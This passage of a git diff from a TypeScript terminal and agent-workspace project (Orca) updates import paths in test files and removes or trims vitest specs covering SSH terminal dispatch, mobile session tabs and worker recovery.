poll interval at this scale. - expect(pathReadCount).toBeLessThan(40_000) - }) - it('keeps no-PTY agent worktrees in the truncated mobile summary', async () => { const remoteRepo = { id: 'repo-truncated-ssh', diff --git a/src/main/runtime/orca-runtime-tests/orca-runtime-layout-owner-start-fixture.ts b/src/main/runtime/orca-runtime-tests/orca-runtime-layout-owner-start-fixture.ts index 6769e9ab3d2..d4b5b050ec0 100644 --- a/src/main/runtime/orca-runtime-tests/orca-runtime-layout-owner-start-fixture.ts +++ b/src/main/runtime/orca-runtime-tests/orca-runtime-layout-owner-start-fixture.ts @@ -1,6 +1,6 @@ // Windowless layout-owner fixture applies commands in memory and starts main-owned terminals immediately. import { vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { LayoutCommand } from '../../../shared/workspace-layout/workspace-layout-command-types' import { applyCommandToSession } from '../../persistence/terminal-topology/pane-admission/terminal-pane-admission' diff --git a/src/main/runtime/orca-runtime-tests/orca-runtime-test-fixtures.spec.ts b/src/main/runtime/orca-runtime-tests/orca-runtime-test-fixtures.spec.ts index d2f64d15eb4..5cd57c64ab6 100644 --- a/src/main/runtime/orca-runtime-tests/orca-runtime-test-fixtures.spec.ts +++ b/src/main/runtime/orca-runtime-tests/orca-runtime-test-fixtures.spec.ts @@ -13,7 +13,7 @@ import { buildAgentPromptPasteBytes, getTerminalPasteIngestMs } from '../../../shared/agent-launch/startup/agent-prompt-injection' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import type { LayoutCommand } from '../../../shared/workspace-layout/workspace-layout-command-types' import { applyCommandToSession } from '../../persistence/terminal-topology/pane-admission/terminal-pane-admission' diff --git a/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts b/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts index 8b609a8d2f3..b8bace4369a 100644 --- a/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts +++ b/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts @@ -6,7 +6,7 @@ import { HEADLESS_RUNTIME_WINDOW_ID } from '../../../shared/remote-runtime/sessi import { OrcaRuntimeService } from '../orca-runtime' import { electronMocks } from '../orca-runtime-test-mocks/setup.spec' import { getBrowserHostLeaseRegistry } from '../browser-host/leases/browser-host-lease-registry-instance' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { getRuntimeBrowserPageRegistry } from '../browser/client-pages/runtime-browser-page-registry' import { vi } from 'vitest' import type { Mock } from 'vitest' diff --git a/src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts b/src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts deleted file mode 100644 index 19be6756be8..00000000000 --- a/src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import './runtime-test-module-registration.spec' -import '../../../shared/constants' -import { OrcaRuntimeService } from '../orca-runtime' -import { scanLocalRepoWorktreesForResolutionMock } from '../orca-runtime-test-mocks/setup.spec' -import { - HEADLESS_LEAF_ID, - makeHeadlessTerminalLayout, - makeRuntimeStoreWithWorkspaceSession, - makeWorkspaceSessionWithHeadlessTerminal, - store -} from './orca-runtime-test-fixtures.spec' -import type { RuntimeWorktreeScanResult } from '../workspaces/catalog/repo-worktree-resolution-scan' - -describe('OrcaRuntimeService', () => { - it('does not block a targeted mobile session tab list on an unrelated worktree scan', async () => { - const remoteWorktreeId = 'repo-ssh::/remote/worktree' - const remotePtyId = 'ssh:ssh-target@@remote-pty' - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession( - makeWorkspaceSessionWithHeadlessTerminal({ - activeRepoId: 'repo-ssh', - activeWorktreeId: remoteWorktreeId, - activeTabIdByWorktree: { [remoteWorktreeId]: 'remote-tab' }, - tabsByWorktree: { - [remoteWorktreeId]: [ - { - id: 'remote-tab', - ptyId: remotePtyId, - worktreeId: remoteWorktreeId, - title: 'Remote terminal', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - }, - terminalLayoutsByTabId: { - 'remote-tab': makeHeadlessTerminalLayout({ [HEADLESS_LEAF_ID]: remotePtyId }) - } - }), - 'ssh:ssh-target' - ) - const remoteRepo = { - ...store.getRepos()[0], - id: 'repo-ssh', - connectionId: 'ssh-target' - } - const localRepo = store.getRepos()[0] - const repos = [remoteRepo, localRepo] - runtimeStore.getRepos = () => repos - runtimeStore.getRepo = (id: string) => repos.find((repo) => repo.id === id) - const runtime = new OrcaRuntimeService(runtimeStore as never) - const listProcesses = vi.fn(async () => [ - { - id: remotePtyId, - incarnationId: 'remote-incarnation', - terminalHandle: 'term_remote', - title: 'Remote terminal', - cwd: '/remote/worktree', - worktreeId: remoteWorktreeId - } - ]) - runtime.setPtyController({ - listProcesses, - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - const scan = Promise.withResolvers() - scanLocalRepoWorktreesForResolutionMock.mockImplementation(() => scan.promise) - - vi.useFakeTimers() - let timeoutId: ReturnType | undefined - const resultPromise = runtime.listMobileSessionTabs(`id:${remoteWorktreeId}`) - try { - const timeout = new Promise((resolve) => { - timeoutId = setTimeout(() => resolve(null), 1_000) - }) - await Promise.resolve() - await vi.advanceTimersByTimeAsync(1_000) - const result = await Promise.race([resultPromise, timeout]) - expect(result).not.toBeNull() - expect(scanLocalRepoWorktreesForResolutionMock).not.toHaveBeenCalled() - expect(listProcesses).toHaveBeenCalledOnce() - expect(listProcesses).toHaveBeenCalledWith( - 'ssh:ssh-target', - expect.objectContaining({ deadlineMs: expect.any(Number) }) - ) - expect(result).toMatchObject({ - worktree: remoteWorktreeId, - tabs: [expect.objectContaining({ type: 'terminal', parentTabId: 'remote-tab' })] - }) - } finally { - scan.resolve({ ok: false, worktrees: [] }) - if (timeoutId !== undefined) { - clearTimeout(timeoutId) - } - try { - await resultPromise - } finally { - vi.useRealTimers() - } - } - }) -}) diff --git a/src/main/runtime/orca-runtime-tests/runtime-store-partial-fixture.ts b/src/main/runtime/orca-runtime-tests/runtime-store-partial-fixture.ts index 090960d7d57..d468f1490d5 100644 --- a/src/main/runtime/orca-runtime-tests/runtime-store-partial-fixture.ts +++ b/src/main/runtime/orca-runtime-tests/runtime-store-partial-fixture.ts @@ -1,5 +1,5 @@ import type { RuntimeStore } from '../construction/runtime-store-contract' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' import type { Project } from '../../../shared/project/project-types' diff --git a/src/main/runtime/orca-runtime-tests/runtime-test-module-registration.spec.ts b/src/main/runtime/orca-runtime-tests/runtime-test-module-registration.spec.ts index 7ff59a649b7..25dc0eaa887 100644 --- a/src/main/runtime/orca-runtime-tests/runtime-test-module-registration.spec.ts +++ b/src/main/runtime/orca-runtime-tests/runtime-test-module-registration.spec.ts @@ -59,7 +59,7 @@ import '../../memory/pty-registry' import '../../providers/pty/process-inspection' import '../../workspaces/catalog/worktree-path-comparison-key' import '../../workspaces/removal/local-worktree-filesystem' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import '../../ports/advertised-url-watcher' import '../../../shared/workspace-layout/stable-pane-id' import '../../../shared/agent-launch/startup/setup-agent-sequencing' diff --git a/src/main/runtime/orca-runtime-tests/split-placement-session.test-fixture.ts b/src/main/runtime/orca-runtime-tests/split-placement-session.test-fixture.ts index adf8bfa90be..c466e429158 100644 --- a/src/main/runtime/orca-runtime-tests/split-placement-session.test-fixture.ts +++ b/src/main/runtime/orca-runtime-tests/split-placement-session.test-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { TEST_WORKTREE_ID, makeRuntimeStoreWithWorkspaceSession diff --git a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-02.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-02.spec.ts deleted file mode 100644 index d281b8fecc4..00000000000 --- a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-02.spec.ts +++ /dev/null @@ -1,213 +0,0 @@ -import { - makeRuntimeOrchestrationDb, - dispatchContextRow -} from './runtime-orchestration-db.test-fixture' -import { describe, expect, it, vi } from 'vitest' -import './runtime-test-module-registration.spec' -import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import 'node:path' -import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id' -import 'node:fs/promises' -import '../orca-runtime-test-mocks/setup.spec' -import '../terminal/view/terminal-view-attribute-store' -import 'node:os' -import { - HEADLESS_LEAF_ID, - RESTORED_AUTHORITY_TOKEN, - RESTORED_AUTHORITY_TOKEN_HASH, - TEST_REPO_ID, - TEST_WINDOW_ID, - TEST_WORKTREE_ID, - TEST_WORKTREE_PATH, - makeHeadlessTerminalLayout, - makeWorkspaceSessionWithHeadlessTerminal, - store -} from './orca-runtime-test-fixtures.spec' -import '../terminal/launch/spawned-pty-env-fixtures' - -describe('OrcaRuntimeService', () => { - it('preserves SSH dispatch authority commitment across transient relay loss', async () => { - const targetId = 'ssh-1' - const ptyId = `ssh:${targetId}@@pty-retained` - const tabId = 'ssh-worker' - const paneKey = makePaneKey(tabId, HEADLESS_LEAF_ID) - const incarnationId = 'dddddddd-dddd-4ddd-8ddd-dddddddddddd' - const sshSession = makeWorkspaceSessionWithHeadlessTerminal({ - activeTabId: tabId, - activeTabIdByWorktree: { [TEST_WORKTREE_ID]: tabId }, - tabsByWorktree: { - [TEST_WORKTREE_ID]: [ - { - id: tabId, - ptyId, - worktreeId: TEST_WORKTREE_ID, - title: 'SSH worker', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - }, - terminalLayoutsByTabId: { - [tabId]: makeHeadlessTerminalLayout({ [HEADLESS_LEAF_ID]: ptyId }) - }, - terminalPtyIncarnationsByPaneKey: { [paneKey]: incarnationId } - }) - const retireAuthority = vi.fn() - const failDispatch = vi.fn() - const runtime = new OrcaRuntimeService( - { - ...store, - // The worker's repo lives on the SSH target whose partition holds its session. - getRepos: () => [{ ...store.getRepo(TEST_REPO_ID)!, connectionId: targetId }], - getRepo: (id: string) => - id === TEST_REPO_ID - ? { ...store.getRepo(TEST_REPO_ID)!, connectionId: targetId } - : undefined, - getWorkspaceSession: (hostId?: string | null) => - hostId === `ssh:${targetId}` ? sshSession : getDefaultWorkspaceSession(), - getWorkspaceSessionHostIds: () => ['local', `ssh:${targetId}`] - }, - undefined, - { - attestAgentHookCompatibilityAuthority: ({ - paneKey: candidate, - launchTokenHash, - connectionId - }) => - candidate === paneKey && - launchTokenHash === RESTORED_AUTHORITY_TOKEN_HASH && - connectionId === targetId - ? { paneKey: candidate, source: 'hydrated_commitment' } - : null, - retireAgentHookCompatibilityAuthority: retireAuthority - } - ) - const orchestrationDb = makeRuntimeOrchestrationDb() - vi.spyOn(orchestrationDb, 'getActiveDispatchForTerminal').mockImplementation( - (handle: string) => - handle === 'term_ssh_retained' - ? dispatchContextRow({ id: 'dispatch-ssh', task_id: 'task-ssh', status: 'dispatched' }) - : undefined - ) - vi.spyOn(orchestrationDb, 'failDispatch').mockImplementation(failDispatch) - runtime.setOrchestrationDb(orchestrationDb) - runtime.attachWindow(TEST_WINDOW_ID) - await runtime.syncWindowGraph(TEST_WINDOW_ID, { - tabs: [ - { - tabId, - worktreeId: TEST_WORKTREE_ID, - title: 'SSH worker', - activeLeafId: HEADLESS_LEAF_ID, - layout: null - } - ], - leaves: [ - { - tabId, - worktreeId: TEST_WORKTREE_ID, - leafId: HEADLESS_LEAF_ID, - paneRuntimeId: 1, - ptyId - } - ] - }) - const listProcesses = vi.fn(async () => [ - { - id: ptyId, - incarnationId, - terminalHandle: 'term_ssh_retained', - title: 'SSH worker', - cwd: TEST_WORKTREE_PATH, - worktreeId: TEST_WORKTREE_ID, - wslDistro: null - } - ]) - runtime.setPtyController({ - write: () => true, - kill: () => true, - getForegroundProcess: async () => null, - listProcesses - }) - const refreshInventory = (connectionId: string | undefined) => - ( - runtime as unknown as { - refreshPtyWorktreeRecordsWithControllerInventory: ( - worktrees: [], - targetWorktreeId: string | null, - deadline: number | undefined, - connectionId: string | undefined - ) => Promise - } - ).refreshPtyWorktreeRecordsWithControllerInventory([], null, undefined, connectionId) - const host = runtime.registerOrchestrationCompatibilitySshAttachment( - targetId, - 'connection-incarnation' - ) - const evidence = { - terminalHandle: 'term_ssh_retained', - paneKey, - launchToken: RESTORED_AUTHORITY_TOKEN, - host - } as const - - await expect(refreshInventory(targetId)).resolves.not.toBeNull() - expect(runtime.verifyOrchestrationCompatibilityCaller(evidence)).not.toBeNull() - await expect(refreshInventory(undefined)).resolves.not.toBeNull() - expect(runtime.verifyOrchestrationCompatibilityCaller(evidence)).not.toBeNull() - - runtime.onPtyExit(ptyId, -1, incarnationId) - - expect(runtime.verifyOrchestrationCompatibilityCaller(evidence)).toBeNull() - expect(retireAuthority).not.toHaveBeenCalled() - expect(failDispatch).not.toHaveBeenCalled() - - await expect(refreshInventory(targetId)).resolves.not.toBeNull() - - expect(runtime.verifyOrchestrationCompatibilityCaller(evidence)).not.toBeNull() - expect(listProcesses).toHaveBeenCalledTimes(3) - }) - - it('does not register or publish a PTY incarnation that exited before spawn resolved', async () => { - const runtime = new OrcaRuntimeService(store) - const tabId = '11111111-1111-4111-8111-111111111111' - const leafId = '22222222-2222-4222-8222-222222222222' - runtime.setPtyController({ - spawn: vi.fn(async () => { - runtime.beginPtyRegistration('pty-exited-during-start', 'incarnation-exited-during-start') - runtime.onPtyExit('pty-exited-during-start', 0, 'incarnation-exited-during-start') - return { - id: 'pty-exited-during-start', - incarnationId: 'incarnation-exited-during-start' - } - }), - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - - await expect( - runtime.createTerminal(`path:${TEST_WORKTREE_PATH}`, { - command: 'codex', - presentation: 'background', - tabId, - leafId - }) - ).rejects.toThrow('agent_session_exited_during_start') - await expect(runtime.listTerminals(`id:${TEST_WORKTREE_ID}`)).resolves.toMatchObject({ - terminals: [] - }) - await expect(runtime.listMobileSessionTabs(`id:${TEST_WORKTREE_ID}`)).resolves.toMatchObject({ - tabs: [] - }) - const internals = runtime as unknown as { - handleByPtyId: Map - ptysById: Map - } - expect(internals.handleByPtyId.has('pty-exited-during-start')).toBe(false) - expect(internals.ptysById.has('pty-exited-during-start')).toBe(false) - }) -}) diff --git a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-04.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-04.spec.ts index dea4eb82e4a..36378232a78 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-04.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-04.spec.ts @@ -1,94 +1,20 @@ import 'node:fs/promises' import 'node:os' import 'node:path' -import { describe, expect, it, onTestFinished, vi } from 'vitest' +import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' import { electronMocks } from '../orca-runtime-test-mocks/setup.spec' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { ipcMain } from 'electron' -import { RpcDispatcher } from '../rpc/dispatcher' -import { TERMINAL_METHODS } from '../rpc/methods/terminal/terminal' +import '../rpc/dispatcher' +import '../rpc/methods/terminal/terminal' import { TEST_WORKTREE_ID, store } from './orca-runtime-test-fixtures.spec' import '../terminal/launch/spawned-pty-env-fixtures' import './orca-runtime-test-scenario-builders.spec' describe('OrcaRuntimeService', () => { // A timed-out renderer create could finish later and duplicate a retried terminal. - it.each([ - ['--focus', { command: 'echo hi', focus: true, presentation: 'focused' }], - ['interactive agent', { command: 'codex', focus: false, rendererBacked: true, activate: false }] - ])( - 'reports the running CLI terminal, not a failure, when the window is slow (%s)', - async (_case, params) => { - vi.useFakeTimers() - onTestFinished(() => { - vi.useRealTimers() - }) - const spawn = vi.fn().mockResolvedValue({ id: 'pty-cli' }) - const windowSend = vi.fn() - // Leave reveal unresolved to exercise its 10s timeout. - const revealTerminalSession = vi.fn( - () => - new Promise((_resolve, reject) => { - setTimeout(() => reject(new Error('Terminal reveal timed out')), 10_000) - }) - ) - const runtime = new OrcaRuntimeService(store) - runtime.setPtyController({ - spawn, - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - runtime.setNotifier({ - worktreesChanged: vi.fn(), - reposChanged: vi.fn(), - activateWorktree: vi.fn(), - createTerminal: vi.fn(), - revealTerminalSession, - splitTerminal: vi.fn(), - renameTerminal: vi.fn(), - focusTerminal: vi.fn(), - closeTerminal: vi.fn(), - terminalFitOverrideChanged: vi.fn(), - terminalDriverChanged: vi.fn() - }) - runtime.attachWindow(1) - await runtime.syncWindowGraph(1, { tabs: [], leaves: [] }) - electronMocks.BrowserWindow.fromId.mockReturnValue({ - isDestroyed: () => false, - webContents: { send: windowSend } - }) - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = dispatcher.dispatch({ - id: 'request-1', - authToken: 'token', - method: 'terminal.create', - params: { worktree: `id:${TEST_WORKTREE_ID}`, ...params } - }) - // Launch resolution performs real I/O; wait for reveal before advancing timers. - await vi.waitFor(() => - expect(revealTerminalSession.mock.calls.length + windowSend.mock.calls.length).toBe(1) - ) - await vi.advanceTimersByTimeAsync(10_000) - - await expect(response).resolves.toMatchObject({ - ok: true, - result: { - terminal: { - handle: expect.stringMatching(/^term_/), - worktreeId: TEST_WORKTREE_ID, - surface: 'background', - warning: expect.stringContaining('Terminal reveal timed out') - } - } - }) - expect(spawn).toHaveBeenCalledTimes(1) - expect(windowSend).not.toHaveBeenCalledWith('terminal:requestTabCreate', expect.anything()) - } - ) it('accepts workspace-less terminal create replies only from the target renderer', async () => { const webContents = { send: vi.fn() } diff --git a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts index 2ff7ccb28e4..3ceeb3a5ff4 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts @@ -1,47 +1,15 @@ import { describe, expect, it, vi } from 'vitest' import './bind-first-pane.test-fixture' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import './runtime-test-module-registration.spec' -import { AGENT_PROMPT_BRACKETED_PASTE_START } from '../../../shared/agent-launch/startup/agent-prompt-injection' +import '../../../shared/agent-launch/startup/agent-prompt-injection' import '../../../shared/clipboard/clipboard-text' import { OrcaRuntimeService } from '../orca-runtime' import '../orca-runtime-test-mocks/setup.spec' -import { TERMINAL_INPUT_CHUNK_MAX_BYTES } from '../../../shared/terminal/input/terminal-input' +import '../../../shared/terminal/input/terminal-input' import { TEST_WORKTREE_PATH, store } from './orca-runtime-test-fixtures.spec' describe('OrcaRuntimeService', () => { - it('rejects an agent prompt when the atomic paste write fails', async () => { - vi.useFakeTimers() - try { - const writes: string[] = [] - const runtime = new OrcaRuntimeService(store) - runtime.setPtyController({ - spawn: vi.fn().mockResolvedValue({ id: 'pty-bg' }), - write: (_ptyId, data) => { - writes.push(data) - return false - }, - kill: () => true, - getForegroundProcess: async () => null - }) - const { handle } = await runtime.createTerminal(`path:${TEST_WORKTREE_PATH}`, { - launchAgent: 'claude' - }) - const prompt = 'x'.repeat(TERMINAL_INPUT_CHUNK_MAX_BYTES + 1) - - const sendPromise = runtime.sendTerminalAgentPrompt(handle, prompt, { inputKind: 'driving' }) - const sendRejection = expect(sendPromise).rejects.toThrow('terminal_not_writable') - await vi.runAllTimersAsync() - - await sendRejection - expect(writes[0]).toContain(AGENT_PROMPT_BRACKETED_PASTE_START) - expect(writes).toHaveLength(1) - expect(writes).not.toContain('\r') - } finally { - vi.useRealTimers() - } - }) - it('coalesces concurrent focusTerminal navigations so only the latest full reveal runs', async () => { // Resolve initial create immediately, then gate reveals for the focus storm. const revealTerminalSession = vi.fn().mockResolvedValue({ tabId: 'tab-create' }) diff --git a/src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts index e45c022945e..d88cb9ccd30 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts @@ -4,7 +4,7 @@ import './bind-first-pane.test-fixture' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' import '../../ports/advertised-url-watcher' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { HEADLESS_LEAF_ID, HEADLESS_SECOND_LEAF_ID, diff --git a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts index 0175e1395c4..904649a6eac 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts @@ -4,7 +4,7 @@ import { describe, expect, it, vi } from 'vitest' import '../../../shared/workspace-layout/layout-owner-switch' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import '../../../shared/workspace-layout/stable-pane-id' import { diff --git a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts deleted file mode 100644 index c4ff313dd0d..00000000000 --- a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts +++ /dev/null @@ -1,90 +0,0 @@ -import './runtime-orchestration-db.test-fixture' -import './runtime-durable-store-fixture' -import { describe, expect, it, vi } from 'vitest' -import '../../../shared/workspace-layout/layout-owner-switch' -import './runtime-test-module-registration.spec' -import '../orca-runtime' -import '../../../shared/constants' - -import { HEADLESS_LEAF_ID, TEST_WORKTREE_ID } from './orca-runtime-test-fixtures.spec' -import { makePostRevealWorkerRecoveryHarness } from './orca-runtime-test-scenario-builders.spec' - -describe('OrcaRuntimeService', () => { - it('defers a revealed worker until its exact renderer graph is published', async () => { - vi.useFakeTimers() - try { - const harness = makePostRevealWorkerRecoveryHarness(() => true) - const identity = { - worktreeId: TEST_WORKTREE_ID, - tabId: 'legacy-post-reveal', - leafId: HEADLESS_LEAF_ID, - ptyId: harness.ptyId - } - harness.revealTerminalSession.mockResolvedValue({ - tabId: identity.tabId, - identity - }) - - await expect( - harness.runtime.reconcileLegacyWorkerTerminals({ materializeRenderer: true }) - ).resolves.toMatchObject({ - adoptedDispatchIds: [], - exitedDispatchIds: [], - deferredDispatchIds: ['dispatch-post-reveal'] - }) - expect(harness.revealTerminalSession).toHaveBeenCalledOnce() - expect( - harness.getSession().sleepingAgentSessionsByPaneKey?.[harness.workerPaneKey] - ).toBeDefined() - expect(harness.resolveLegacyWorkerTerminalRecovery).not.toHaveBeenCalled() - - harness.runtime.attachWindow(1) - await harness.runtime.syncWindowGraph(1, { - tabs: [ - { - tabId: identity.tabId, - worktreeId: identity.worktreeId, - title: 'Post-reveal worker', - activeLeafId: identity.leafId, - layout: null - } - ], - leaves: [ - { - tabId: identity.tabId, - worktreeId: identity.worktreeId, - leafId: identity.leafId, - paneRuntimeId: 1, - ptyId: identity.ptyId - } - ] - }) - await vi.advanceTimersByTimeAsync(2_000) - - expect(harness.revealTerminalSession).toHaveBeenCalledOnce() - expect( - harness.getSession().sleepingAgentSessionsByPaneKey?.[harness.workerPaneKey] - ).toBeUndefined() - expect(harness.resolveLegacyWorkerTerminalRecovery).toHaveBeenCalledWith( - harness.workerPaneKey, - 'adopted' - ) - expect( - (await harness.runtime.listTerminals()).terminals.filter( - (terminal) => terminal.ptyId === identity.ptyId - ) - ).toEqual([ - expect.objectContaining({ - handle: harness.terminalHandle, - incarnationId: harness.incarnationId, - orphaned: false, - worktreeId: identity.worktreeId, - tabId: identity.tabId, - leafId: identity.leafId - }) - ]) - } finally { - vi.useRealTimers() - } - }) -}) diff --git a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts deleted file mode 100644 index 14a1ce8a8b0..00000000000 --- a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts +++ /dev/null @@ -1,236 +0,0 @@ -import '../orchestration/crew/crew-changes' -import './runtime-orchestration-db.test-fixture' -import { withDurableRuntimeStore } from './runtime-durable-store-fixture' -import { describe, expect, it, vi } from 'vitest' -import './runtime-test-module-registration.spec' -import { OrcaRuntimeService } from '../orca-runtime' -import { OrchestrationDb } from '../orchestration/db/orchestration-db' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { - HEADLESS_LEAF_ID, - TEST_WORKTREE_ID, - deferred, - makeRuntimeStoreWithWorkspaceSession -} from './orca-runtime-test-fixtures.spec' -import './orca-runtime-test-scenario-builders.spec' - -describe('OrcaRuntimeService', () => { - it('requeues an active Task before clearing recovery for an authoritatively missing worker', async () => { - const workerPaneKey = `legacy-missing:${HEADLESS_LEAF_ID}` - const incarnationId = '32323232-3232-4232-8232-323232323232' - const session: WorkspaceSessionState = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { [TEST_WORKTREE_ID]: [] }, - sleepingAgentSessionsByPaneKey: { - [workerPaneKey]: { - paneKey: workerPaneKey, - tabId: 'legacy-missing', - worktreeId: TEST_WORKTREE_ID, - agent: 'codex', - providerSession: { key: 'session_id', id: 'legacy-missing-session' }, - prompt: 'continue', - state: 'working', - capturedAt: 1, - updatedAt: 1, - origin: 'live' - } - } - } - const { runtimeStore, getSession } = makeRuntimeStoreWithWorkspaceSession(session) - const durableWrite = deferred() - const durableWriteStarted = deferred() - const flushPendingOrThrowAsync = vi.fn(() => { - durableWriteStarted.resolve() - return durableWrite.promise - }) - const flushOrThrow = vi.fn(() => { - throw new Error('synchronous persistence must not run') - }) - const runtime = new OrcaRuntimeService( - withDurableRuntimeStore({ ...runtimeStore, flushOrThrow, flushPendingOrThrowAsync }), - undefined, - { canRecoverPersistentLocalPtys: () => true } - ) - const db = new OrchestrationDb(':memory:') - try { - const task = db.createTask({ - runId: 'run_legacy_local', - spec: 'continue after missing worker recovery' - }) - const started = db.createStartingWorkerDispatch({ - creator: { kind: 'system' }, - maxDepth: Number.MAX_SAFE_INTEGER, - taskId: task.id, - startOptions: { topology: 'current', agent: 'codex' } - }) - db.prepareStartingWorkerAuthority({ - dispatchId: started.dispatch.id, - handle: 'term_missing_worker', - paneKey: workerPaneKey, - processIncarnation: `pty-missing-worker:${incarnationId}`, - worktreeId: TEST_WORKTREE_ID, - setupState: 'not_applicable', - effects: [] - }) - db.markWorkerDispatchReady(started.dispatch.id) - runtime.setOrchestrationDb(db) - runtime.setPtyController({ - write: vi.fn(() => true), - kill: vi.fn(() => true), - getForegroundProcess: async () => null, - hasPty: () => false, - listProcesses: async () => [] - }) - const resolveLegacyWorkerTerminalRecovery = vi.fn() - runtime.setNotifier({ resolveLegacyWorkerTerminalRecovery } as never) - - const recovery = runtime.reconcileLegacyWorkerTerminals() - await durableWriteStarted.promise - - expect(resolveLegacyWorkerTerminalRecovery).not.toHaveBeenCalled() - expect(db.getDispatchContextById(started.dispatch.id)?.status).toBe('dispatched') - durableWrite.resolve() - - await expect(recovery).resolves.toMatchObject({ - adoptedDispatchIds: [], - exitedDispatchIds: [started.dispatch.id], - deferredDispatchIds: [] - }) - - expect(flushPendingOrThrowAsync).toHaveBeenCalledOnce() - expect(flushPendingOrThrowAsync).toHaveBeenCalledWith({ - drainToStableGeneration: false - }) - expect(flushOrThrow).not.toHaveBeenCalled() - expect(db.getDispatchContextById(started.dispatch.id)).toMatchObject({ - status: 'failed', - failure_count: 1 - }) - expect(db.getWorkerDispatch(started.dispatch.id)?.state).toBe('abandoned') - expect(db.getTask(task.id)?.status).toBe('ready') - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeUndefined() - expect(resolveLegacyWorkerTerminalRecovery).toHaveBeenCalledWith( - workerPaneKey, - 'rolled_back', - 'pty-missing-worker' - ) - expect(resolveLegacyWorkerTerminalRecovery).toHaveBeenCalledWith(workerPaneKey, 'exited') - } finally { - db.close() - } - }) - - it('waits for durability before retry settles a resolution already present in memory', async () => { - const workerPaneKey = `legacy-missing-retry:${HEADLESS_LEAF_ID}` - const incarnationId = '34343434-3434-4434-8434-343434343434' - const session: WorkspaceSessionState = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { [TEST_WORKTREE_ID]: [] }, - sleepingAgentSessionsByPaneKey: { - [workerPaneKey]: { - paneKey: workerPaneKey, - tabId: 